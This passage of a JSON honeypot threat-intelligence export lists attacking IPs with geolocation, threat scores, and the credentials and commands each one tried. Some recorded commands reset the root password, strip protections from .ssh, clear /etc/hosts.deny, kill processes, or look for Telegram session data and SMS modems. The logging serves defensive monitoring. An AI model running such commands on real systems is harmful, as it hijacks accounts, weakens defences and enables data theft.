        "demo@123",
        "jerry@123",
        "nino",
        "password",
        "trustno1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:369KYlEpvxXZ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 35.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T01:19:28.440000+00:00",
        "last_seen_30d": "2026-05-31T01:50:52.207000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 40
      }
    },
    "175.10.89.184": {
      "attack_count": 126,
      "first_seen": "2026-05-23T07:59:49.113Z",
      "last_seen": "2026-05-23T13:59:36.775Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 195,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:59:49.113000+00:00",
        "last_seen_30d": "2026-05-23T14:00:47.054000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 126,
        "Suricata": 69
      }
    },
    "86.57.162.46": {
      "attack_count": 108,
      "first_seen": "2026-05-19T06:53:22.534Z",
      "last_seen": "2026-05-19T17:50:59.677Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": "Minsk",
      "asn": 6697,
      "as_org": "Republican Unitary Telecommunication Enterprise Beltelecom",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:53:22.534000+00:00",
        "last_seen_30d": "2026-05-19T17:52:01.741000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 108,
        "Suricata": 54
      }
    },
    "91.106.108.102": {
      "attack_count": 104,
      "first_seen": "2026-05-09T01:24:45.641Z",
      "last_seen": "2026-05-18T20:53:05.055Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Jordan",
      "country_code": "JO",
      "city": null,
      "asn": 9038,
      "as_org": "Al Bahrainia al Urdunia Liltaknia Wa Alitisalat Plc. Co",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T01:24:45.641000+00:00",
        "last_seen_30d": "2026-05-18T21:25:16.027000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 134,
        "Cowrie": 104
      }
    },
    "187.62.204.183": {
      "attack_count": 82,
      "first_seen": "2026-05-19T06:41:40.517Z",
      "last_seen": "2026-05-19T13:02:49.703Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Sete Lagoas",
      "asn": 262617,
      "as_org": "UWBR VOX Telecomunicacoes SA",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:41:40.517000+00:00",
        "last_seen_30d": "2026-05-19T13:03:58.763000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 82,
        "Suricata": 45
      }
    },
    "186.237.174.7": {
      "attack_count": 80,
      "first_seen": "2026-05-23T08:30:44.312Z",
      "last_seen": "2026-05-23T13:54:55.621Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Angra dos Reis",
      "asn": 262813,
      "as_org": "Superimagem Tecnologia em Eletronica Ltda",
      "threat_score": 24.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:30:44.312000+00:00",
        "last_seen_30d": "2026-05-23T13:56:00.357000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 40
      }
    },
    "34.156.189.246": {
      "attack_count": 77,
      "first_seen": "2026-05-24T04:55:34.422Z",
      "last_seen": "2026-05-24T04:56:27.981Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 525",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T04:55:34.422000+00:00",
        "last_seen_30d": "2026-05-24T04:57:37.926000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 77,
        "Suricata": 42
      }
    },
    "31.57.216.40": {
      "attack_count": 56,
      "first_seen": "2026-05-06T11:51:04.002Z",
      "last_seen": "2026-05-15T19:51:42.457Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "ftpuser",
        "debian",
        "proxyuser",
        "ps",
        "root",
        "user",
        "user3"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "654321",
        "ftppassword",
        "proxyuser",
        "root",
        "temppwd",
        "user"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 36680,
      "as_org": "Netiface LLC",
      "threat_score": 49.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.7,
        "persistence": 18.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 22,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T11:51:04.002000+00:00",
        "last_seen_30d": "2026-05-27T08:50:09.571000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 36,
        "Honeytrap": 2
      }
    },
    "42.233.106.199": {
      "attack_count": 46,
      "first_seen": "2026-05-25T19:34:44.553Z",
      "last_seen": "2026-05-25T19:39:42.978Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T19:34:44.553000+00:00",
        "last_seen_30d": "2026-05-25T19:40:51.500000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "103.161.34.162": {
      "attack_count": 42,
      "first_seen": "2026-05-08T05:49:37.514Z",
      "last_seen": "2026-05-12T09:47:01.241Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 198584,
      "as_org": "PIO-Hosting GmbH",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:49:37.514000+00:00",
        "last_seen_30d": "2026-05-12T09:48:09.950000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "162.244.81.120": {
      "attack_count": 42,
      "first_seen": "2026-05-05T01:54:12.329Z",
      "last_seen": "2026-05-12T18:09:37.055Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 19624,
      "as_org": "Data Room, Inc",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:54:12.329000+00:00",
        "last_seen_30d": "2026-05-12T18:10:42.662000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "185.195.146.240": {
      "attack_count": 42,
      "first_seen": "2026-05-11T20:58:12.740Z",
      "last_seen": "2026-05-31T06:45:22.604Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 201119,
      "as_org": "Icewood LLC",
      "threat_score": 46.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T20:58:12.740000+00:00",
        "last_seen_30d": "2026-05-31T06:46:23.716000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "51.81.34.254": {
      "attack_count": 42,
      "first_seen": "2026-05-04T21:17:06.554Z",
      "last_seen": "2026-05-12T09:16:46.509Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T21:17:06.554000+00:00",
        "last_seen_30d": "2026-05-12T09:17:52.528000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "193.163.187.123": {
      "attack_count": 37,
      "first_seen": "2026-05-29T20:00:56.151Z",
      "last_seen": "2026-05-29T20:02:12.777Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Albania",
      "country_code": "AL",
      "city": "Durr\u00ebs",
      "asn": 211356,
      "as_org": "MyTv-Alb SH.P.K.",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T20:00:56.151000+00:00",
        "last_seen_30d": "2026-05-29T20:03:14.988000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 4
      }
    },
    "185.38.149.131": {
      "attack_count": 34,
      "first_seen": "2026-05-19T13:51:34.058Z",
      "last_seen": "2026-05-19T20:00:47.082Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "Accept-Language: en-US;q=0.6,en;q=0.4",
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        "Accept-Encoding: deflate, gzip, identity",
        "Host: 172.105.186.117:23",
        "User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.4,
        "persistence": 0.8,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 1,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-19T13:51:34+00:00",
        "last_seen_30d": "2026-05-19T20:01:50.149000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 46,
        "Cowrie": 34,
        "H0neytr4p": 4,
        "Tanner": 4
      }
    },
    "58.242.167.39": {
      "attack_count": 34,
      "first_seen": "2026-05-22T02:45:06.166Z",
      "last_seen": "2026-05-22T02:48:46.584Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T02:45:06.166000+00:00",
        "last_seen_30d": "2026-05-22T02:49:48.243000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 18
      }
    },
    "198.20.127.144": {
      "attack_count": 30,
      "first_seen": "2026-05-03T00:16:12.999Z",
      "last_seen": "2026-05-18T03:15:12.557Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:16:12.999000+00:00",
        "last_seen_30d": "2026-05-18T03:16:14.930000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "89.45.201.189": {
      "attack_count": 30,
      "first_seen": "2026-05-05T00:55:26.373Z",
      "last_seen": "2026-05-13T03:55:46.015Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": "Ia\u0219i",
      "asn": 212221,
      "as_org": "Internet Broker Srl",
      "threat_score": 14.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:55:26.373000+00:00",
        "last_seen_30d": "2026-05-13T03:56:54.505000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "94.26.106.199": {
      "attack_count": 30,
      "first_seen": "2026-05-06T22:37:43.523Z",
      "last_seen": "2026-05-11T21:15:56.909Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "support",
        "user",
        "user3"
      ],
      "passwords_attempted": [
        "support",
        "1234",
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Kriftel",
      "asn": 215607,
      "as_org": "dataforest GmbH",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T22:37:43.523000+00:00",
        "last_seen_30d": "2026-05-11T21:17:04.999000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 18
      }
    },
    "172.104.93.159": {
      "attack_count": 26,
      "first_seen": "2026-05-04T14:06:48.219Z",
      "last_seen": "2026-05-31T10:20:15.295Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 52.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.2,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T14:06:48.219000+00:00",
        "last_seen_30d": "2026-05-31T10:21:38.847000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 26
      }
    },
    "103.74.21.152": {
      "attack_count": 24,
      "first_seen": "2026-05-23T13:19:55.295Z",
      "last_seen": "2026-05-23T13:22:30.832Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 139879,
      "as_org": "Galaxy Broadband",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T13:19:55.295000+00:00",
        "last_seen_30d": "2026-05-23T13:23:32.430000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "94.35.140.5": {
      "attack_count": 15,
      "first_seen": "2026-05-03T19:38:08.139Z",
      "last_seen": "2026-05-18T02:54:12.980Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Elmas",
      "asn": 8612,
      "as_org": "Tiscali SpA",
      "threat_score": 29.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.3,
        "persistence": 13.3,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 16,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T19:38:08.139000+00:00",
        "last_seen_30d": "2026-05-18T03:04:18.309000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 15,
        "Honeytrap": 1
      }
    },
    "14.103.159.154": {
      "attack_count": 9,
      "first_seen": "2026-05-30T00:16:29.132Z",
      "last_seen": "2026-05-30T00:29:53.524Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "user"
      ],
      "passwords_attempted": [
        "qwe123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T00:16:29.132000+00:00",
        "last_seen_30d": "2026-05-30T00:40:52.625000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 6
      }
    },
    "205.210.31.12": {
      "attack_count": 8,
      "first_seen": "2026-05-11T16:15:32.750Z",
      "last_seen": "2026-05-28T10:52:58.827Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 65.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.8,
        "persistence": 23.3,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 28,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T02:00:55.605000+00:00",
        "last_seen_30d": "2026-05-30T10:25:39.433000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 8,
        "Adbhoney": 4,
        "Honeytrap": 2
      }
    },
    "45.82.78.104": {
      "attack_count": 8,
      "first_seen": "2026-05-09T13:24:03.943Z",
      "last_seen": "2026-05-09T13:24:04.543Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 212512,
      "as_org": "Detai Prosperous Technologies Limited",
      "threat_score": 97.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 543,
        "days_active_30d": 30,
        "ports_targeted_30d": 64,
